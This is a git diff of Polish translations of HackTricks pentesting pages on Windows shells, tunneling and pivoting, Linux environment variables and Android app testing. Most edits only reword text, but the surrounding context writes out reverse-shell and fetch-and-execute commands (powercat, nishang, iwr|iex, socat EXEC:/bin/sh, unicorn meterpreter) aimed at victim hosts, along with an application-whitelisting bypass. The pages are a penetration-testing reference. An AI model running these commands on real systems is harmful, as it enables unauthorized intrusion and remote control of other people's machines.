@ -340,7 +342,8 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
Możesz użyć tej techniki, aby ominąć białe listy aplikacji i ograniczenia Powershell.exe. Po prostu pobierz to i wykonaj: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
Możesz użyć tej techniki, aby ominąć białe listy aplikacji i ograniczenia Powershell.exe. Zostaniesz poproszony o powłokę PS.\
|
||||
Po prostu pobierz to i wykonaj: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
|
@ -386,13 +389,13 @@ W folderze **Shells** znajduje się wiele różnych powłok. Aby pobrać i uruch
|
|||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
Zacznij serwować skrypt na serwerze sieciowym i wykonaj go po stronie ofiary:
|
||||
Rozpocznij serwowanie skryptu na serwerze sieciowym i wykonaj go po stronie ofiary:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Obrońca nie wykrywa tego jako złośliwego kodu (jeszcze, 3/04/2019).
|
||||
Defender nie wykrywa tego jako złośliwego kodu (jeszcze, 3/04/2019).
|
||||
|
||||
**TODO: Sprawdź inne powłoki nishang**
|
||||
**TODO: Sprawdź inne shelle nishang**
|
||||
|
||||
### **PS-Powercat**
|
||||
|
||||
|
@ -402,11 +405,9 @@ Pobierz, uruchom serwer sieciowy, uruchom nasłuchiwanie i wykonaj to na końcu
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defender nie wykrywa tego jako złośliwego kodu (jeszcze, 3/04/2019).
|
||||
|
||||
**Inne opcje oferowane przez powercat:**
|
||||
|
||||
Powiązane powłoki, Odwrócona powłoka (TCP, UDP, DNS), Przekierowanie portu, Przesyłanie/pobieranie, Generowanie ładunków, Serwowanie plików...
|
||||
Powłoki wiążące, Odwrócona powłoka (TCP, UDP, DNS), Przekierowanie portów, Przesyłanie plików, Generowanie ładunków, Obsługa plików...
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
|
@ -437,15 +438,15 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
|
|||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
Utwórz wersję powershell tylnej furtki metasploita, korzystając z narzędzia unicorn
|
||||
Utwórz wersję powershell tylnej furtki metasploit za pomocą narzędzia unicorn
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
Uruchom msfconsole z utworzonym zasobem:
|
||||
Rozpocznij msfconsole z utworzonym zasobem:
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
Rozpocznij serwer sieciowy obsługujący plik _powershell\_attack.txt_ i wykonaj na ofierze:
|
||||
Uruchom serwer sieciowy obsługujący plik _powershell\_attack.txt_ i wykonaj na ofierze:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
|
@ -469,7 +470,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Konsola PS z kilkoma ofensywny
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -23,7 +23,7 @@
|
|||
## Wskazówka dotycząca Nmap
|
||||
|
||||
{% hint style="warning" %}
|
||||
Skanowanie **ICMP** i **SYN** nie może być tunelowane przez proxy socks, dlatego musimy **wyłączyć odkrywanie pingów** (`-Pn`) i określić **skany TCP** (`-sT`), aby to działało.
|
||||
**Skanowanie ICMP** i **SYN** nie może być tunelowane przez proxy SOCKS, dlatego musimy **wyłączyć odkrywanie pingów** (`-Pn`) i określić **skany TCP** (`-sT`), aby to działało.
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
@ -50,7 +50,7 @@ Graficzne połączenie SSH (X)
|
|||
```bash
|
||||
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
||||
```
|
||||
### Lokalne przekierowanie portu
|
||||
### Lokalne przekierowanie portów
|
||||
|
||||
Otwórz nowy port na serwerze SSH --> Inny port
|
||||
```bash
|
||||
|
@ -62,7 +62,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
|
|||
```
|
||||
### Port2Port
|
||||
|
||||
Lokalny port --> Skompromitowany host (SSH) --> Trzecia\_skrzynka:Port
|
||||
Port lokalny --> Zainfekowany host (SSH) --> Trzecia\_skrzynka:Port
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
|
@ -70,7 +70,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
|||
```
|
||||
### Port2hostnet (proxychains)
|
||||
|
||||
Port lokalny --> Zainfekowany host (SSH) --> Dokądkolwiek
|
||||
Lokalny port --> Skompromitowany host (SSH) --> Gdziekolwiek
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
|
@ -155,7 +155,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||
|
||||
### Proxy SOCKS
|
||||
|
||||
Otwórz port w teamserverze nasłuchującym na wszystkich interfejsach, które można użyć do **przekierowania ruchu przez beacon**.
|
||||
Otwórz port w teamserver nasłuchujący na wszystkich interfejsach, który może być użyty do **kierowania ruchem przez beacon**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
|
@ -172,10 +172,10 @@ W tym przypadku **port jest otwarty na hoście bieżącym**, a nie na Serwerze Z
|
|||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
```
|
||||
### rPort2Port lokalny
|
||||
### rPort2Port lokalnie
|
||||
|
||||
{% hint style="warning" %}
|
||||
W tym przypadku **port jest otwarty na hoście Beacon**, a nie na Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port
|
||||
W tym przypadku **port jest otwarty w hostu beacon**, a nie w Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port
|
||||
{% endhint %}
|
||||
```
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
|
@ -213,7 +213,7 @@ Musisz użyć **tej samej wersji dla klienta i serwera**
|
|||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Odwrócony tunel. Tunel jest uruchamiany od ofiary.\
|
||||
Proxy socks4 jest tworzone na 127.0.0.1:1080
|
||||
Proxy socks4 jest tworzone pod adresem 127.0.0.1:1080
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
```
|
||||
|
@ -221,7 +221,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
|||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Przejdź przez **serwer proxy NTLM**
|
||||
Przełącz się przez **serwer proxy NTLM**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
|
@ -285,7 +285,7 @@ chmod 600 $FILENAME.key $FILENAME.pem
|
|||
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
||||
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
||||
```
|
||||
### Zdalne przekierowanie portu do portu
|
||||
### Zdalne Port2Port
|
||||
|
||||
Połącz lokalny port SSH (22) z portem 443 hosta atakującego
|
||||
```bash
|
||||
|
@ -297,7 +297,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
|
||||
To jest wersja konsolowa PuTTY (opcje są bardzo podobne do klienta ssh).
|
||||
|
||||
Ponieważ ten plik binarny będzie wykonywany u ofiary i jest to klient ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać odwrotność połączenia. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszym komputerze:
|
||||
Ponieważ ten plik binarny będzie wykonywany u ofiary i jest to klient ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać odwrotność połączenia. Następnie przekierować tylko lokalnie dostępny port na port w naszym komputerze:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
|
@ -343,11 +343,11 @@ Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do przekierow
|
|||
|
||||
## Proxify Aplikacje GUI w systemie Windows
|
||||
|
||||
Możesz sprawić, że aplikacje GUI w systemie Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\
|
||||
Możesz sprawić, że aplikacje GUI w systemie Windows będą korzystały z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\
|
||||
W **Profil -> Serwery Proxy** dodaj IP i port serwera SOCKS.\
|
||||
W **Profil -> Reguły Proksyfikacji** dodaj nazwę programu do proksyfikacji oraz połączenia do adresów IP, które chcesz proksyfikować.
|
||||
|
||||
## Pomijanie proxy NTLM
|
||||
## Ominięcie proxy NTLM
|
||||
|
||||
Wspomniane wcześniej narzędzie: **Rpivot**\
|
||||
**OpenVPN** może również je ominąć, ustawiając te opcje w pliku konfiguracyjnym:
|
||||
|
@ -358,7 +358,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Uwierzytelnia się wobec serwera proxy i wiąże lokalny port, który jest przekierowany do zewnętrznej usługi, którą określisz. Następnie możesz korzystać z wybranego narzędzia za pośrednictwem tego portu.\
|
||||
Autoryzuje się przeciwko serwerowi proxy i wiąże lokalny port, który jest przekierowany do zewnętrznej usługi, którą określisz. Następnie możesz korzystać z wybranego narzędzia za pośrednictwem tego portu.\
|
||||
Na przykład przekierowuje port 443
|
||||
```
|
||||
Username Alice
|
||||
|
@ -368,7 +368,7 @@ Proxy 10.0.0.10:8080
|
|||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Teraz, jeśli ustawisz na przykład na ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się do niej podłączyć przez port 2222 atakującego.\
|
||||
Możesz również użyć **meterpreter**, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222.
|
||||
Możesz również użyć **meterpretera**, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222.
|
||||
|
||||
## YARP
|
||||
|
||||
|
@ -380,13 +380,13 @@ Odwrócony proxy stworzony przez Microsoft. Możesz go znaleźć tutaj: [https:/
|
|||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
Do tworzenia adapterów tun oraz tunelowania danych między nimi za pomocą zapytań DNS, wymagane jest posiadanie uprawnień roota w obu systemach.
|
||||
W obu systemach wymagane jest posiadanie uprawnień roota do utworzenia adapterów tun i tunelowania danych między nimi za pomocą zapytań DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
Tunel będzie bardzo wolny. Możesz utworzyć skompresowane połączenie SSH przez ten tunel, korzystając z:
|
||||
Tunel będzie bardzo wolny. Możesz utworzyć skompresowane połączenie SSH przez ten tunel, używając:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
|
@ -471,7 +471,7 @@ chmod a+x ./ngrok
|
|||
|
||||
**Dokumentacja:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||||
|
||||
*Jeśli jest to konieczne, można również dodać uwierzytelnienie i TLS.*
|
||||
*Jest również możliwe dodanie uwierzytelnienia i TLS, jeśli jest to konieczne.*
|
||||
|
||||
#### Tunelowanie TCP
|
||||
```bash
|
||||
|
@ -486,7 +486,7 @@ chmod a+x ./ngrok
|
|||
./ngrok http file:///tmp/httpbin/
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
```
|
||||
#### Przechwytywanie wywołań HTTP
|
||||
#### Podsłuchiwanie wywołań HTTP
|
||||
|
||||
*Przydatne dla XSS, SSRF, SSTI ...*
|
||||
Bezpośrednio z stdout lub w interfejsie HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
|
@ -522,7 +522,7 @@ addr: file:///tmp/httpbin/
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -46,10 +46,6 @@ echo $LOCAL
|
|||
unset LOCAL
|
||||
```
|
||||
## Wyświetlanie bieżących zmiennych
|
||||
|
||||
```bash
|
||||
printenv
|
||||
```
|
||||
```bash
|
||||
set
|
||||
env
|
||||
|
@ -64,11 +60,11 @@ Z: [https://geek-university.com/linux/common-environment-variables/](https://gee
|
|||
* **DISPLAY** – wyświetlacz używany przez **X**. Zmienna ta zazwyczaj jest ustawiona na **:0.0**, co oznacza pierwszy wyświetlacz na bieżącym komputerze.
|
||||
* **EDITOR** – preferowany edytor tekstu użytkownika.
|
||||
* **HISTFILESIZE** – maksymalna liczba linii zawartych w pliku historii.
|
||||
* **HISTSIZE** – Liczba linii dodanych do pliku historii po zakończeniu sesji użytkownika.
|
||||
* **HISTSIZE** – Liczba linii dodawanych do pliku historii po zakończeniu sesji użytkownika.
|
||||
* **HOME** – katalog domowy.
|
||||
* **HOSTNAME** – nazwa hosta komputera.
|
||||
* **LANG** – bieżący język.
|
||||
* **MAIL** – lokalizacja skrzynki pocztowej użytkownika. Zazwyczaj **/var/spool/mail/USER**.
|
||||
* **MAIL** – lokalizacja skrzynki odbiorczej użytkownika. Zazwyczaj **/var/spool/mail/USER**.
|
||||
* **MANPATH** – lista katalogów do wyszukiwania stron podręcznika.
|
||||
* **OSTYPE** – typ systemu operacyjnego.
|
||||
* **PS1** – domyślny znak zachęty w bashu.
|
||||
|
@ -95,7 +91,7 @@ export HISTSIZE=0
|
|||
```
|
||||
### http\_proxy & https\_proxy
|
||||
|
||||
Procesy będą korzystać z zadeklarowanego tutaj **serwera proxy** do połączenia z internetem za pośrednictwem **http lub https**.
|
||||
Procesy będą korzystać z zadeklarowanego tutaj **serwera proxy** do połączenia z internetem za pośrednictwem protokołów **http lub https**.
|
||||
```bash
|
||||
export http_proxy="http://10.10.10.10:8080"
|
||||
export https_proxy="http://10.10.10.10:8080"
|
||||
|
@ -131,7 +127,7 @@ Jeden proces w tle, jeden zatrzymany i ostatnie polecenie nie zakończyło się
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -144,7 +140,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -19,10 +19,10 @@ Inne sposoby wsparcia HackTricks:
|
|||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||
|
||||
**Spojrzenie na Hacking**\
|
||||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hackowania
|
||||
Zanurz się w treści, które zagłębiają się w emocje i wyzwania hackowania
|
||||
|
||||
**Aktualności z Hackingu na Żywo**\
|
||||
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i spojrzeniom na żywo
|
||||
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnym wiadomościom i spostrzeżeniom
|
||||
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
|
||||
|
@ -31,7 +31,7 @@ Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacja
|
|||
|
||||
## Podstawy Aplikacji na Androida
|
||||
|
||||
Zaleca się rozpoczęcie czytania tej strony, aby dowiedzieć się o **najważniejszych częściach związanych z bezpieczeństwem Androida i najniebezpieczniejszych komponentach w aplikacji na Androida**:
|
||||
Zaleca się zapoznanie się z tą stroną, aby dowiedzieć się o **najważniejszych częściach związanych z bezpieczeństwem Androida i najniebezpieczniejszych komponentach w aplikacji na Androida**:
|
||||
|
||||
{% content-ref url="android-applications-basics.md" %}
|
||||
[android-applications-basics.md](android-applications-basics.md)
|
||||
|
@ -39,8 +39,8 @@ Zaleca się rozpoczęcie czytania tej strony, aby dowiedzieć się o **najważni
|
|||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
To główne narzędzie, którego potrzebujesz do połączenia się z urządzeniem Android (emulowanym lub fizycznym).\
|
||||
**ADB** pozwala kontrolować urządzenia zarówno przez **USB**, jak i przez **sieć** z komputera. Narzędzie to umożliwia **kopiowanie** plików w obie strony, **instalację** i **odinstalowanie** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **czytanie** logów, między innymi funkcje.
|
||||
To główne narzędzie, które potrzebujesz do połączenia się z urządzeniem Android (emulowanym lub fizycznym).\
|
||||
**ADB** pozwala kontrolować urządzenia zarówno przez **USB**, jak i przez **sieć** z komputera. Narzędzie to umożliwia **kopiowanie** plików w obie strony, **instalowanie** i **odinstalowywanie** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **czytanie** logów, między innymi funkcje.
|
||||
|
||||
Zajrzyj do poniższej listy [**Polecenia ADB**](adb-commands.md), aby dowiedzieć się, jak korzystać z adb.
|
||||
|
||||
|
@ -70,7 +70,7 @@ Proszę, [**zapoznaj się tutaj z informacjami o dostępnych dekompilatorach**](
|
|||
|
||||
### Szukanie interesujących informacji
|
||||
|
||||
Po prostu przeglądając **ciągi znaków** w pliku APK, możesz szukać **haseł**, **adresów URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy API**, **szyfrowania**, **UUID Bluetooth**, **tokenów** i wszystkiego, co może być interesujące... poszukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi uwierzytelniania (wbudowane poświadczenia administratora w aplikacji).
|
||||
Po prostu przeglądając **ciągi znaków** w pliku APK, możesz szukać **haseł**, **adresów URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy API**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... poszukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi uwierzytelniania (wbudowane poświadczenia administratora w aplikacji).
|
||||
|
||||
**Firebase**
|
||||
|
||||
|
@ -78,23 +78,23 @@ Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle
|
|||
|
||||
### Podstawowe zrozumienie aplikacji - Manifest.xml, strings.xml
|
||||
|
||||
**Analiza plików Manifest.xml i strings.xml aplikacji może ujawnić potencjalne podatności na ataki**. Te pliki można uzyskać za pomocą dekompilatorów lub zmieniając rozszerzenie pliku APK na .zip, a następnie rozpakowując go.
|
||||
**Analiza plików **_**Manifest.xml**_** i **_**strings.xml**_** aplikacji może ujawnić potencjalne podatności na ataki**. Te pliki można uzyskać za pomocą dekompilatorów lub zmieniając rozszerzenie pliku APK na .zip, a następnie rozpakowując go.
|
||||
|
||||
Zidentyfikowane **podatności** z pliku **Manifest.xml** obejmują:
|
||||
**Zidentyfikowane podatności** z pliku **Manifest.xml** obejmują:
|
||||
|
||||
* **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do eksploatacji. Aby lepiej zrozumieć, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem dotyczącym znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu.
|
||||
* **Ustawienia kopii zapasowych**: Atrybut `android:allowBackup="false"` powinien być jawnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, zwłaszcza gdy jest włączone debugowanie USB.
|
||||
* **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieciowego (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły dotyczące bezpieczeństwa, takie jak pinezki certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
|
||||
* **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieciowego (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły związane z bezpieczeństwem, takie jak pinezki certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
|
||||
* **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może ujawnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testów dynamicznych może ujawnić, jak wykorzystać te komponenty.
|
||||
* **Dostawcy treści i dostawcy plików**: Ujawnieni dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja dostawców plików również powinna być dokładnie przeanalizowana.
|
||||
* **Odbiorniki nadawcze i schematy URL**: Te komponenty mogą być wykorzystane do eksploatacji, ze szczególnym uwzględnieniem zarządzania schematami URL w kontekście podatności na wejście.
|
||||
* **Odbiorniki nadawcze i schematy URL**: Te komponenty mogą być wykorzystane do eksploatacji, ze szczególnym uwzględnieniem zarządzania schematami URL w celu wykrycia podatności na wejście.
|
||||
* **Wersje SDK**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują obsługiwane wersje Androida, podkreślając ważność nieobsługiwania przestarzałych, podatnych wersji Androida ze względów bezpieczeństwa.
|
||||
|
||||
